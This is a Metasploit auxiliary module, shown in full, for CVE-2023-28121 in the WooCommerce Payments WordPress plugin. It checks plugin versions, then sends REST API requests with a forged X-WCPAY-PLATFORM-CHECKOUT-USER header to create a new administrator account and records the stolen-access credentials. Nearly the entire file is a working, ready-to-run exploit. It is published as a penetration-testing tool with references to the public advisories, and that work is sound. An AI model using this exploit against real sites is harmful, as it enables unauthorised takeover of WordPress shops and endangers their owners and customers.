## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation', 'Description' => %q{ WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1, 5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1, 5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API to create a new user with administrative privileges on the target WordPress site IF the user ID selected corresponds to an administrator account. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Michael Mazzolini', # original discovery 'Julien Ahrens' # detailed writeup ], 'References' => [ ['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'], ['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'], ['CVE', '2023-28121'] ], 'DisclosureDate' => '2023-03-22', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'User to create', '']), OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']), OptString.new('EMAIL', [false, 'Email to create, random if blank', '']), OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]), OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/']) ] ) end def check unless wordpress_and_online? return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') end vuln_versions = [ ['4.8', '4.8.2'], ['4.9', '4.9.1'], ['5.0', '5.0.4'], ['5.1', '5.1.3'], ['5.2', '5.2.2'], ['5.3', '5.3.1'], ['5.4', '5.4.1'], ['5.5', '5.5.2'], ['5.6', '5.6.2'] ] vuln_versions.each do |versions| introduced = versions[0] fixed = versions[1] checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced) if checkcode == Exploit::CheckCode::Appears return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable') end end Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed') end def run password = datastore['PASSWORD'] if datastore['PASSWORD'].blank? password = Rex::Text.rand_text_alphanumeric(10..15) end email = datastore['EMAIL'] if datastore['EMAIL'].blank? email = Rex::Text.rand_mail_address end username = datastore['USERNAME'] if datastore['USERNAME'].blank? username = Rex::Text.rand_text_alphanumeric(5..20) end print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})") ['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites if url_root == '/rest' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, 'method' => 'POST', 'ctype' => 'application/json', 'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' }, 'data' => { 'username' => username, 'email' => email, 'password' => password, 'roles' => ['administrator'] }.to_json }) else res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, 'method' => 'POST', 'ctype' => 'application/json', 'data' => { 'username' => username, 'email' => email, 'password' => password, 'roles' => ['administrator'] }.to_json }) end fail_with(Failure::Unreachable, 'Connection failed') unless res next if res.code == 404 if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body&.match(/"username":"#{username}"/) print_good('User was created successfully') if framework.db.active create_credential_and_login({ address: rhost, port: rport, protocol: 'tcp', workspace_id: myworkspace_id, origin_type: :service, service_name: 'WordPress', username: username, private_type: :password, private_data: password, module_fullname: fullname, access_level: 'administrator', last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }) end else print_error("Server response: #{res.body}") end break # we didn't get a 404 so we can bail on the 2nd attempt end end end